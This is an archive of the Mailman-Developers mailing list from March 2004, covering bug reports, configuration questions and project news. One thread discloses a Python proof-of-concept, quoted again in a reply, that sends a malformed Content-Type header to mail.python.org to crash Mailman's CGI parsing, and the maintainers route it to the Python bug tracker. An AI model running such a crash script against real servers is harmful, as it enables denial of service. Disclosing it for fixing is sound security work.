From orang55 at att.net Mon Mar 1 21:00:54 2004
From: orang55 at att.net (Andrew Schmadel)
Date: Mon Mar 1 21:01:02 2004
Subject: [Mailman-Developers] control via. PHP?
Message-ID: <70932142-6BED-11D8-A2F8-000393D54A96@att.net>
Hi,
I'm trying to integrate mailman into my site's member database.
This would be easy to do by simply setting up a flat file with all of
the email addresses, and setting up a cron job to run the sync_members
script
Unfortunately, my webhost doesn't give me access to the directory
containing the scripts, leaving me up a creek.
Any suggestions?
Thanks,
Andrew
orang fiftey five at a tee and tee dot net
From rcartier at apollo.homeip.net Tue Mar 2 08:28:58 2004
From: rcartier at apollo.homeip.net (Rob Cartier)
Date: Tue Mar 2 08:29:07 2004
Subject: [Mailman-Developers] retaining format of posted messages in html
Message-ID: <40448C1A.2090309@apollo.homeip.net>
I have a few folks who need to post messages in html.
it is distributed ok in html but The problem is when it gets archived
it gets scrubbed and losses it's html properties when the url link is
displayed.
such as
References: <40448C1A.2090309@apollo.homeip.net>
Message-ID:
At 8:28 AM -0500 2004/03/02, Rob Cartier wrote:
> What if anything can be done in some setting to allow
> html to be saved in the archive.
>
> This normally not wanted or encourged but for this list
> it is necessary to handle a few html tables.
Use a different archiving engine that can handle HTML better.
Try mhonarc (see
).
--
Brad Knowles,
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety."
-Benjamin Franklin, Historical Review of Pennsylvania.
GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+
!w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++)
tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++)
From maurice at hypercube.demon.nl Wed Mar 3 02:49:08 2004
From: maurice at hypercube.demon.nl (Maurice Snellen)
Date: Wed Mar 3 03:55:12 2004
Subject: [Mailman-Developers] Problem processing french messages from
non-listmembers
Message-ID: <1927586993.20040303084908@hypercube.demon.nl>
Listmembers:
The moderator of one of the lists running on my server reported that
she is unable to process a number of messages that are pending as
being sent from a non-subscriber address to a subscribers-only list.
Meanwhile there are five of these messages in their queue and they are
getting annoyed at the daily reminders about these as they are unable
to get rid of them.
The thing that these messages have in common is that they all
originated from French servers.
Other messages of the same kind can be processed fine; it's just these
that they cannot get rid of. If they select to do anything with these
messages and submit the form, they receive the error included below.
Is this a bug that should be fixed in the code? Is there a setting
that I can change to fix this? Or is there a way for me as site admin
to remove these messages from the system manually?
Thank you for your time and effort.
Bug in Mailman version 2.1.4
We're sorry, we hit a bug!
If you would like to help us identify the problem, please email a copy of
this page to the webmaster for this site with a description of what
happened. Thanks!
Traceback:
Traceback (most recent call last):
File "/var/mailman/nlbdsmorg/scripts/driver", line 87, in run_main
main()
File "/var/mailman/nlbdsmorg/Mailman/Cgi/admindb.py", line 163, in main
process_form(mlist, doc, cgidata)
File "/var/mailman/nlbdsmorg/Mailman/Cgi/admindb.py", line 694, in
process_form
forward, forwardaddr)
File "/var/mailman/nlbdsmorg/Mailman/ListAdmin.py", line 184, in
HandleRequest
forward, addr)
File "/var/mailman/nlbdsmorg/Mailman/ListAdmin.py", line 373, in
__handlepost
syslog('vette', note)
File "/var/mailman/nlbdsmorg/Mailman/Logging/Syslog.py", line 40, in write
self.write_ex(kind, msg, args, kws)
File "/var/mailman/nlbdsmorg/Mailman/Logging/Syslog.py", line 58, in
write_ex
logf.write(msg + '\n')
File "/var/mailman/nlbdsmorg/Mailman/Logging/StampedLogger.py", line 73,
in write
Logger.write(self, "%s %s" % (prefix, msg))
File "/var/mailman/nlbdsmorg/Mailman/Logging/Logger.py", line 91, in write
f.write(msg)
UnicodeEncodeError: 'ascii' codec can't encode character u'\xe9' in position
116: ordinal not in range(128)
----------------------------------------------------------------------------
----
Python information:
Variable Value
sys.version 2.3.3 (#1, Jan 23 2004, 17:15:25) [GCC 2.95.3 20010315
(release)]
sys.executable /usr/bin/python
sys.prefix /usr
sys.exec_prefix /usr
sys.path /usr
sys.platform linux2
----------------------------------------------------------------------------
----
Environment variables:
Variable Value
HTTP________________ ~~~~~ ~~~~~~~
HTTP_COOKIE
bvj-operators+admin=2802000000690d353940732800000035313635333439656563666564
306432636330623136376634653138666139366537323037626334
SERVER_SOFTWARE Apache/1.3.27 (Unix) PHP/4.3.2 mod_ssl/2.8.14
OpenSSL/0.9.7b
SCRIPT_NAME /mailman/admindb
SERVER_SIGNATURE Apache/1.3.27 Server at nl-bdsm.org Port 80
REQUEST_METHOD POST
PATH_INFO /bvj-operators
SERVER_PROTOCOL HTTP/1.1
QUERY_STRING
CONTENT_LENGTH 891
HTTP_USER_AGENT Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR
1.1.4322)
HTTP_CONNECTION Keep-Alive
SERVER_NAME nl-bdsm.org
REMOTE_ADDR 80.126.99.148
PATH_TRANSLATED /var/www/prod/nl-bdsm.org/bvj-operators
SERVER_PORT 80
SERVER_ADDR 212.238.194.176
DOCUMENT_ROOT /var/www/prod/nl-bdsm.org
PYTHONPATH /var/mailman/nlbdsmorg
SCRIPT_FILENAME /var/mailman/nlbdsmorg/cgi-bin/admindb
SERVER_ADMIN webmaster@nl-bdsm.org
HTTP_HOST nl-bdsm.org
HTTP_CACHE_CONTROL no-cache
REQUEST_URI /mailman/admindb/bvj-operators
HTTP_ACCEPT image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,
application/x-shockwave-flash, */*
HTTP________ ~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
GATEWAY_INTERFACE CGI/1.1
REMOTE_PORT 1245
HTTP_ACCEPT_LANGUAGE nl
CONTENT_TYPE application/x-www-form-urlencoded
--
Greetings,
Maurice
From tkikuchi at is.kochi-u.ac.jp Wed Mar 3 06:16:56 2004
From: tkikuchi at is.kochi-u.ac.jp (Tokio Kikuchi)
Date: Wed Mar 3 06:17:19 2004
Subject: [Mailman-Developers] retaining format of posted messages in html
In-Reply-To:
References: <40448C1A.2090309@apollo.homeip.net>
Message-ID: <4045BEA8.1020205@is.kochi-u.ac.jp>
Brad Knowles wrote:
> At 8:28 AM -0500 2004/03/02, Rob Cartier wrote:
>
>> What if anything can be done in some setting to allow
>> html to be saved in the archive.
>>
>> This normally not wanted or encourged but for this list
>> it is necessary to handle a few html tables.
>
>
> Use a different archiving engine that can handle HTML better. Try
> mhonarc (see
> ).
>
Or, you can adjust ARCHIVE_HTML_SANITIZER = 3 in mm_cfg.py.
Read Defaults.py for detail.
--
Tokio Kikuchi, tkikuchi@ is.kochi-u.ac.jp
http://weather.is.kochi-u.ac.jp/
From rohmer at aisconsulting.net Wed Mar 3 12:35:50 2004
From: rohmer at aisconsulting.net (Ron Ohmer)
Date: Wed Mar 3 12:39:28 2004
Subject: [Mailman-Developers] Smart Archvier
Message-ID: <200403031739.i23HdMDJ025335@ms-smtp-01.tampabay.rr.com>
Has anyone ever ported this to use MySQL?
I would love to use it, but am not a Python programmer.. Perl yes, C++ yes,
python no..
Ron
From wheakory at isu.edu Wed Mar 3 13:01:24 2004
From: wheakory at isu.edu (Kory Wheatley)
Date: Wed Mar 3 13:01:43 2004
Subject: [Mailman-Developers] Global filter
Message-ID: <40461D74.1060404@isu.edu>
How do I setup a global spam filter to discard any message, "sent to a
mailman mailing list", that has the subject that contains the words:
e-mail
I what to discard them all, and not put them on hold.
What would be the syntax in the "mm_cfg.py" file to do this.
I'm using mailman 2.1.4 with Postfix.
--
Kory Wheatley
Academic Computing Analyst Sr.
Phone 282-3874
#########################################
Everything must point to him.
From wheakory at isu.edu Wed Mar 3 19:05:59 2004
From: wheakory at isu.edu (Kory Wheatley)
Date: Wed Mar 3 19:06:03 2004
Subject: [Mailman-Developers] Mailman filter
Message-ID: <404672E7.8060209@isu.edu>
How do I setup a global spam filter to discard any message, "sent to a
mailman mailing list", that has the subject that contains the words:
e-mail
I what to discard them all, and not put them on hold.
What would be the syntax in the "mm_cfg.py" file to do this.
I'm using mailman 2.1.4 with Postfix.
--
Kory Wheatley
Academic Computing Analyst Sr.
Phone 282-3874
#########################################
Everything must point to him.
From barry at python.org Fri Mar 5 22:50:45 2004
From: barry at python.org (Barry Warsaw)
Date: Fri Mar 5 22:50:57 2004
Subject: [Mailman-Developers] SF.net March 2004 POTM
Message-ID: <1078545044.18592.162.camel@anthem.wooz.org>
Hey folks, quick note. Mailman's the March 2004 SourceForge.net project
of the month.
http://sourceforge.net/potm/potm-2004-03.php
-Barry
From jwblist at olympus.net Fri Mar 5 23:12:28 2004
From: jwblist at olympus.net (John W. Baxter)
Date: Fri Mar 5 23:12:44 2004
Subject: [Mailman-Developers] SF.net March 2004 POTM
In-Reply-To: <1078545044.18592.162.camel@anthem.wooz.org>
Message-ID:
On 3/5/2004 19:50, "Barry Warsaw" wrote:
> Hey folks, quick note. Mailman's the March 2004 SourceForge.net project
> of the month.
>
> http://sourceforge.net/potm/potm-2004-03.php
>
Well done, Barry. So many deserving projects...so few months!
--John
From kmccann at bellanet.org Fri Mar 5 23:55:28 2004
From: kmccann at bellanet.org (Kevin McCann)
Date: Fri Mar 5 23:31:05 2004
Subject: [Mailman-Developers] SF.net March 2004 POTM
In-Reply-To: <1078545044.18592.162.camel@anthem.wooz.org>
References: <1078545044.18592.162.camel@anthem.wooz.org>
Message-ID: <404959C0.6040908@bellanet.org>
Barry Warsaw wrote:
>Hey folks, quick note. Mailman's the March 2004 SourceForge.net project
>of the month.
>
>http://sourceforge.net/potm/potm-2004-03.php
>
>-Barry
>
>
Congratulations, Barry (and to everyone else who has made Mailman
possible). You have made a difference and the Sourceforge recognition is
most deserved..
- Kevin
P.S. See you at the sprint (flight and hotel are booked).
From fil at rezo.net Sat Mar 6 05:34:19 2004
From: fil at rezo.net (Fil)
Date: Sat Mar 6 05:36:38 2004
Subject: [Mailman-Developers] SF.net March 2004 POTM
In-Reply-To: <1078545044.18592.162.camel@anthem.wooz.org>
References: <1078545044.18592.162.camel@anthem.wooz.org>
Message-ID: <20040306103419.GB3997@rezo.net>
> http://sourceforge.net/potm/potm-2004-03.php
Kudos!
There's a broken link in the page, that should be
http://dev.zope.org/Wikis/DevSite/Projects/ComponentArchitecture/TranslationWebService
(a space or %20 crept in)
Following this link brings back memory of the discussion we had about
translations a while ago. We've made a similar (though more simple)
translation engine for our SPIP project (www.spip.net); it's in php, but the
interface is really working and might give you ideas. For our translators
this has been a real booster.
The script itself is at:
http://eledo.com/download/trad_lang/
There is no test service yet to try it out online, though, so I'm sorry for
this 'teaser'.
While I'm writing: don't you think the recent flurry of viruses makes the
list-subscribe and list-unsubscribe addresses totally irrelevent (alas!).
What could we do?
-- Fil
From fil at rezo.net Sat Mar 6 15:43:36 2004
From: fil at rezo.net (Fil)
Date: Sat Mar 6 15:45:20 2004
Subject: [Mailman-Developers] warnings at install
Message-ID: <20040306204336.GE20194@rezo.net>
Hi,
just installing a new MM box, from CVS !
Got these 2 errors/warning from the "make" command -- don't know if it's
useful.
/usr/lib/python2.3/distutils/dist.py:213: UserWarning: 'licence'
distribution option is deprecated; use 'license'
warnings.warn(msg)
In file included from src/_koco.c:121:
src/euckr_codec.h: In function uc_kr_encode':
src/euckr_codec.h:127: warning: unsigned int format, long int arg (arg 3)
In file included from src/_koco.c:122:
src/cp949_codec.h: In function p949_encode':
src/cp949_codec.h:151: warning: unsigned int format, long int arg (arg 3)
make[1]: Leaving directory /home/fil/src_mailman/mailman/misc'
make[1]: Entering directory /home/fil/src_mailman/mailman/Mailman'
/usr/bin/python ../build/bin/msgfmt.py -o ca/LC_MESSAGES/mailman.mo
ca/LC_MESSAGES/mailman.po
Traceback (most recent call last):
File "../build/bin/msgfmt.py", line 203, in ?
main()
File "../build/bin/msgfmt.py", line 199, in main
make(filename, outfile)
File "../build/bin/msgfmt.py", line 151, in make
l = eval(l)
File "", line 1
""""" >Python regular expression. When entering
backslashes, do so\n"
^
SyntaxError: EOF while scanning triple-quoted string
make[1]: [ca/LC_MESSAGES/mailman.mo] Error 1 (ignored)
-- Fil
From nd at felinemenace.org Sat Mar 6 18:34:53 2004
From: nd at felinemenace.org (ned)
Date: Sat Mar 6 18:34:58 2004
Subject: [Mailman-Developers] Crash in Mailman HTTP header parsing
Message-ID:
i List,
Attached is a python script to crash the latest mailman, and all mailman's
ive tried it on!
Pretty simple to fix, just check if Content-Type is 'sane', but you all
know that!
I might as well plug SMUDGE, my fuzzer i wrote which yielded this bug (i
was look for something with a little more depth, say a private list bypass
or a nice file reading bug ;)) but it turned up this, and a remotely
exploitable overflow in a core Apache module as well in the process!
Anyhow, i'll keep looking for neet stuff.
- nd
p.s SMUDGE @ http://felinemenace.org/~nd/SMUDGE
--
http://felinemenace.org/~nd
-------------- next part --------------
import socket
crash = "POST /mailman/subscribe/mailman-users HTTP/1.1\r\n"
crash += "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*"
crash += "Referer: http://www.felinemenace.org/mailman/admin/python-security\r\n"
crash += "Accept-Language: en-au\r\n"
crash += "Content-Type: A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:\r\n"
crash += "Accept-Encoding: gzip, deflate\r\n"
crash += "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)\r\n"
crash += "Host: www.felinemenace.org\r\n"
crash += "Content-Length: 89\r\n"
crash += "Cache-Control: no-cache\r\n"
crash += "\r\n\r\n"
crash += "email=meepdoot@obfuscated.edu.au&pw=pythonsec&pw-conf=pythonsec&digest=0&email-button=Subscribe"
crash += "\r\n\r\n"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("mail.python.org",80))
s.send(crash)
print s.recv(10000)
From tkikuchi at is.kochi-u.ac.jp Sun Mar 7 01:38:45 2004
From: tkikuchi at is.kochi-u.ac.jp (Tokio Kikuchi)
Date: Sun Mar 7 01:39:07 2004
Subject: [Mailman-Developers] Crash in Mailman HTTP header parsing
In-Reply-To:
References:
Message-ID: <404AC375.7000007@is.kochi-u.ac.jp>
Isn't this a bug in the cgi module?
I tested a simple python cgi and get similar result every time if the
method is POST and Content-Type is in the request header.
ned wrote:
> i List,
> Attached is a python script to crash the latest mailman, and all mailman's
> ive tried it on!
> Pretty simple to fix, just check if Content-Type is 'sane', but you all
> know that!
> I might as well plug SMUDGE, my fuzzer i wrote which yielded this bug (i
> was look for something with a little more depth, say a private list bypass
> or a nice file reading bug ;)) but it turned up this, and a remotely
> exploitable overflow in a core Apache module as well in the process!
> Anyhow, i'll keep looking for neet stuff.
> - nd
>
> p.s SMUDGE @ http://felinemenace.org/~nd/SMUDGE
>
>
> ------------------------------------------------------------------------
>
> import socket
>
> crash = "POST /mailman/subscribe/mailman-users HTTP/1.1\r\n"
> crash += "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*"
> crash += "Referer: http://www.felinemenace.org/mailman/admin/python-security\r\n"
> crash += "Accept-Language: en-au\r\n"
> crash += "Content-Type: A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:\r\n"
> crash += "Accept-Encoding: gzip, deflate\r\n"
> crash += "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)\r\n"
> crash += "Host: www.felinemenace.org\r\n"
> crash += "Content-Length: 89\r\n"
> crash += "Cache-Control: no-cache\r\n"
> crash += "\r\n\r\n"
> crash += "email=meepdoot@obfuscated.edu.au&pw=pythonsec&pw-conf=pythonsec&digest=0&email-button=Subscribe"
> crash += "\r\n\r\n"
>
> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> s.connect(("mail.python.org",80))
> s.send(crash)
> print s.recv(10000)
>
>
> ------------------------------------------------------------------------
From barry at python.org Sun Mar 7 18:50:19 2004
From: barry at python.org (Barry Warsaw)
Date: Sun Mar 7 18:50:29 2004
Subject: [Mailman-Developers] warnings at install
In-Reply-To: <20040306204336.GE20194@rezo.net>
References: <20040306204336.GE20194@rezo.net>
Message-ID: <1078703418.22777.186.camel@anthem.wooz.org>
On Sat, 2004-03-06 at 15:43, Fil wrote:
> just installing a new MM box, from CVS !
Be sure you're running on the Release_2_1-maint branch! The head of CVS
is not guaranteed to work.
cvs up -rRelease_2_1-maint
-Barry
From fil at rezo.net Sun Mar 7 19:13:39 2004
From: fil at rezo.net (Fil)
Date: Sun Mar 7 19:15:19 2004
Subject: [Mailman-Developers] warnings at install
In-Reply-To: <1078703418.22777.186.camel@anthem.wooz.org>
References: <20040306204336.GE20194@rezo.net>
<1078703418.22777.186.camel@anthem.wooz.org>
Message-ID: <20040308001339.GB29546@rezo.net>
> > just installing a new MM box, from CVS !
>
> Be sure you're running on the Release_2_1-maint branch! The head of CVS
> is not guaranteed to work.
>
> cvs up -rRelease_2_1-maint
Okay, I did that ; but can I downgrade my lists versions from 2.2a0 to 2.1.5b1 ?
(If I have to lose some confirmation cookies I can live with it).
-- Fil
From barry at python.org Sun Mar 7 22:06:29 2004
From: barry at python.org (Barry Warsaw)
Date: Sun Mar 7 22:06:22 2004
Subject: [Mailman-Developers] warnings at install
In-Reply-To: <20040308001339.GB29546@rezo.net>
References: <20040306204336.GE20194@rezo.net>
<1078703418.22777.186.camel@anthem.wooz.org>
<20040308001339.GB29546@rezo.net>
Message-ID: <1078715188.1341.11.camel@geddy.wooz.org>
On Sun, 2004-03-07 at 19:13, Fil wrote:
> Okay, I did that ; but can I downgrade my lists versions from 2.2a0 to 2.1.5b1 ?
> (If I have to lose some confirmation cookies I can live with it).
I think you should be fine, but you might want to hand edit
/usr/local/mailman/data/last_mailman_version to contain 0x20105a3
-Barry
From ricardo at americasnet.com Mon Mar 8 11:41:55 2004
From: ricardo at americasnet.com (Ricardo Kleemann)
Date: Mon Mar 8 11:42:02 2004
Subject: [Mailman-Developers] Please help me debug...
Message-ID: <404ca253.ff.36f2.1836652572@321.net>
Hi all,
I've been trying to get this problem resolved for about 1
week now, in the mailman-users list. First I'd like to thank
the couple of people there that have been able to shed some
light on the issue, but the problem persists and I'm hoping
the developers list can steer me in the right direction.
I am not able to view private archives via a user logon. I
provided some input on the users list and Jon Carnes kindly
mentioned that 2.1.4 fixes a bug related to this issue. He
also suggested that I clear out all cookies and restart the
browser and try again.
Problem is I have been running 2.1.4 and other than making
slight changes to MailList.py, everything else in my system
is stock 2.1.4, the tarball the one from Dec 31.
My Python environment, on a SUSE 9.0 system is as follows:
# rpm -qa|grep python
python-mysql-0.9.2-52
python-devel-2.3-49
mod_python-2.7.8-427
python-japanese-1.4.9-206
python-curses-2.3-49
python-tk-2.3-49
python-2.3-52
python-korean-2.0.5-212
I even re-installed mailman-2.1.4 just to be sure. I
basically re-ran configure, recompiled everything and
re-installed. But when I try to access the private archives
(via private.cgi/list) mailman dies on me. This is what I
get:
Bug in Mailman version 2.1.4
We're sorry, we hit a bug!
If you would like to help us identify the problem, please
email a copy of this page to the webmaster for this site
with a description of what happened. Thanks!
Traceback:
Traceback (most recent call last):
File "/usr/local/mailman/scripts/driver", line 87, in
run_main
main()
File "/usr/local/mailman/Mailman/Cgi/private.py", line
120, in main
password, username):
File "/usr/local/mailman/Mailman/SecurityManager.py", line
226, in WebAuthenticate
print self.MakeCookie(ac, user)
File "/usr/local/mailman/Mailman/SecurityManager.py", line
233, in MakeCookie
raise ValueError
ValueError
I have a client using mailman that is complaining about this
problem, and I have not been able to fix it.
Thanks for any input!
Ricardo
From fil at rezo.net Mon Mar 8 20:07:33 2004
From: fil at rezo.net (Fil)
Date: Mon Mar 8 20:09:33 2004
Subject: [Mailman-Developers] warnings at install
In-Reply-To: <1078715188.1341.11.camel@geddy.wooz.org>
References: <20040306204336.GE20194@rezo.net>
<1078703418.22777.186.camel@anthem.wooz.org>
<20040308001339.GB29546@rezo.net>
<1078715188.1341.11.camel@geddy.wooz.org>
Message-ID: <20040309010733.GA5911@rezo.net>
> > Okay, I did that ; but can I downgrade my lists versions from 2.2a0 to 2.1.5b1 ?
> > (If I have to lose some confirmation cookies I can live with it).
>
> I think you should be fine, but you might want to hand edit
> /usr/local/mailman/data/last_mailman_version to contain 0x20105a3
Yes, everything is fine! Thanks a lot.
-- Fil
From barry at python.org Mon Mar 8 20:43:05 2004
From: barry at python.org (Barry Warsaw)
Date: Mon Mar 8 20:42:56 2004
Subject: [Mailman-Developers] SF.net March 2004 POTM
In-Reply-To: <404959C0.6040908@bellanet.org>
References: <1078545044.18592.162.camel@anthem.wooz.org>
<404959C0.6040908@bellanet.org>
Message-ID: <1078796585.2778.28.camel@geddy.wooz.org>
On Fri, 2004-03-05 at 23:55, Kevin McCann wrote:
> P.S. See you at the sprint (flight and hotel are booked).
Excellent. I'm definitely planning at this point to be there all four
days of sprints.
-Barry
From fil at rezo.net Mon Mar 8 21:23:13 2004
From: fil at rezo.net (Fil)
Date: Mon Mar 8 21:24:51 2004
Subject: [Mailman-Developers] warnings at install
In-Reply-To: <20040309010733.GA5911@rezo.net>
References: <20040306204336.GE20194@rezo.net>
<1078703418.22777.186.camel@anthem.wooz.org>
<20040308001339.GB29546@rezo.net>
<1078715188.1341.11.camel@geddy.wooz.org>
<20040309010733.GA5911@rezo.net>
Message-ID: <20040309022313.GA6437@rezo.net>
> Yes, everything is fine! Thanks a lot.
Well, no *so* good as I already see files shunting :-)
File "/var/local/mailman/Mailman/Queue/Runner.py", line 163, in _onefile
keepqueued = self._dispose(mlist, msg, msgdata)
File "/var/local/mailman/Mailman/Queue/CommandRunner.py", line 237, in _dispose
res.process()
File "/var/local/mailman/Mailman/Queue/CommandRunner.py", line 110, in process
stop = self.do_command(cmd, args)
File "/var/local/mailman/Mailman/Queue/CommandRunner.py", line 135, in do_command
return self.do_command(cmd, args)
File "/var/local/mailman/Mailman/Queue/CommandRunner.py", line 137, in do_command
return handler.process(self, args)
File "/var/local/mailman/Mailman/Commands/cmd_confirm.py", line 86, in process
if line.lstrip() == match:
UnicodeDecodeError: 'ascii' codec can't decode byte 0xe9 in position 24: ordinal not in range(128)
-- Fil
From barry at python.org Mon Mar 8 21:34:07 2004
From: barry at python.org (Barry Warsaw)
Date: Mon Mar 8 21:33:59 2004
Subject: [Mailman-Developers] SF.net March 2004 POTM
In-Reply-To: <20040306103419.GB3997@rezo.net>
References: <1078545044.18592.162.camel@anthem.wooz.org>
<20040306103419.GB3997@rezo.net>
Message-ID: <1078799647.2778.80.camel@geddy.wooz.org>
On Sat, 2004-03-06 at 05:34, Fil wrote:
> Kudos!
> There's a broken link in the page, that should be
> http://dev.zope.org/Wikis/DevSite/Projects/ComponentArchitecture/TranslationWebService
> (a space or %20 crept in)
Thanks Fil, I've forwarded this to the SF guys.
> Following this link brings back memory of the discussion we had about
> translations a while ago. We've made a similar (though more simple)
> translation engine for our SPIP project (www.spip.net); it's in php, but the
> interface is really working and might give you ideas. For our translators
> this has been a real booster.
>
> The script itself is at:
> http://eledo.com/download/trad_lang/
>
> There is no test service yet to try it out online, though, so I'm sorry for
> this 'teaser'.
You're so bad! :) Thanks for the link.
> While I'm writing: don't you think the recent flurry of viruses makes the
> list-subscribe and list-unsubscribe addresses totally irrelevent (alas!).
> What could we do?
Probably start by making sure we don't send more than one confirmation
message a day.
-Barry
From barry at python.org Mon Mar 8 21:36:44 2004
From: barry at python.org (Barry Warsaw)
Date: Mon Mar 8 21:36:35 2004
Subject: [Mailman-Developers] warnings at install
In-Reply-To: <20040309022313.GA6437@rezo.net>
References: <20040306204336.GE20194@rezo.net>
<1078703418.22777.186.camel@anthem.wooz.org>
<20040308001339.GB29546@rezo.net>
<1078715188.1341.11.camel@geddy.wooz.org>
<20040309010733.GA5911@rezo.net> <20040309022313.GA6437@rezo.net>
Message-ID: <1078799803.2778.86.camel@geddy.wooz.org>
On Mon, 2004-03-08 at 21:23, Fil wrote:
> > Yes, everything is fine! Thanks a lot.
>
> Well, no *so* good as I already see files shunting :-)
>
> File "/var/local/mailman/Mailman/Queue/Runner.py", line 163, in _onefile
> keepqueued = self._dispose(mlist, msg, msgdata)
> File "/var/local/mailman/Mailman/Queue/CommandRunner.py", line 237, in _dispose
> res.process()
> File "/var/local/mailman/Mailman/Queue/CommandRunner.py", line 110, in process
> stop = self.do_command(cmd, args)
> File "/var/local/mailman/Mailman/Queue/CommandRunner.py", line 135, in do_command
> return self.do_command(cmd, args)
> File "/var/local/mailman/Mailman/Queue/CommandRunner.py", line 137, in do_command
> return handler.process(self, args)
> File "/var/local/mailman/Mailman/Commands/cmd_confirm.py", line 86, in process
> if line.lstrip() == match:
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xe9 in position 24: ordinal not in range(128)
>
Send me one of the .pck files.
-Barry
From barry at python.org Mon Mar 8 21:56:22 2004
From: barry at python.org (Barry Warsaw)
Date: Mon Mar 8 21:56:13 2004
Subject: [Mailman-Developers] Crash in Mailman HTTP header parsing
In-Reply-To: <404AC375.7000007@is.kochi-u.ac.jp>
References:
<404AC375.7000007@is.kochi-u.ac.jp>
Message-ID: <1078800981.2778.101.camel@geddy.wooz.org>
On Sun, 2004-03-07 at 01:38, Tokio Kikuchi wrote:
> Isn't this a bug in the cgi module?
Yep.
> I tested a simple python cgi and get similar result every time if the
> method is POST and Content-Type is in the request header.
Ned, please post this bug report to the Python project bug tracker:
http://sourceforge.net/tracker/?group_id=5470&atid=105470
-Barry
From ricardo at americasnet.com Tue Mar 9 09:51:14 2004
From: ricardo at americasnet.com (Ricardo Kleemann)
Date: Tue Mar 9 09:51:25 2004
Subject: [Mailman-Developers] Can someone please help me?
Message-ID: <404dd9e2.290.6742.1867870900@321.net>
Hi,
I sent a message yesterday about a bug relative to viewing
private archives.
Can anyone shed some light so I can get this resolved? I've
been trying to get some help here and in the users list, but
with no luck so far. :-/
Thanks for any help.
Ricardo
From Lucia.Giannasi at Mail.Wind.it Thu Mar 4 13:56:36 2004
From: Lucia.Giannasi at Mail.Wind.it (Giannasi Lucia)
Date: Tue Mar 9 11:12:18 2004
Subject: [Mailman-Developers] Customizing mailman user interface
Message-ID: <06ED06046126C344BBA619BF1BAB3EA1085BED0B@wexiv2db.infostrada.it>
I need to customize mailman user interface for mailing list administrators?
Can you say me if it is possible and when I can find documentation about
this?
Than you very much
Lucia
From jo2y at midnightlinux.com Sun Mar 7 13:02:10 2004
From: jo2y at midnightlinux.com (James O'Kane)
Date: Tue Mar 9 11:13:42 2004
Subject: [Mailman-Developers] moderation trackback
Message-ID:
Please cc me, as I'm not subscribed.
I've seen this error asked about by several people, but I've only seen
'Works for me' replies. I think I have another datapoint which should
explain it.
I get dozens of spam message caught by moderation per week and I leave
them there and clear them all out every few weeks. I recently upgraded
from 2.0.x to 2.1.4, and that when I got this error. I like to keep the
spam messages around for possible training data.
I did the upgrade while there were still message waiting for moderation.
Those messages are in .txt format and the code section below assumes they
are pickles.
Two ways I can think of to fix this is during make install convert them to
pickles, or add more processing to Mailman/ListAdmin.py to deal with .txt
and .pck files.
I don't know python, but I can test anything someone comes up with.
thanks
-james
Traceback (most recent call last):
File "/var/mailman/scripts/driver", line 87, in run_main
main()
File "/var/mailman/Mailman/Cgi/admindb.py", line 163, in main
process_form(mlist, doc, cgidata)
File "/var/mailman/Mailman/Cgi/admindb.py", line 694, in process_form
forward, forwardaddr)
File "/var/mailman/Mailman/ListAdmin.py", line 184, in HandleRequest
forward, addr)
File "/var/mailman/Mailman/ListAdmin.py", line 264, in __handlepost
msg = cPickle.load(fp)
ValueError: could not convert string to float
From rcartier at snet.net Tue Mar 2 06:35:37 2004
From: rcartier at snet.net (Rob Cartier)
Date: Tue Mar 9 11:14:53 2004
Subject: [Mailman-Developers] retaining format of posted messages in html
Message-ID: <40447189.2060500@snet.net>
I have a few folks who need to post messages in html.
it is distributed ok but The problem is when it gets archived
it gets scrubbed and losses it's html properties when the url link is
displayed.
such as
Does anyone know if it is possible to clone a list instead of manually
creating each one from scratch?
Scott Hardy
Director Technical Support
I-many, Inc.
6th Floor
511 Congress St
Portland, ME 04101
Phone: 207-228-2326
Fax: 207-828-0491
From ricardo at americasnet.com Tue Mar 9 11:28:50 2004
From: ricardo at americasnet.com (Ricardo Kleemann)
Date: Tue Mar 9 11:28:59 2004
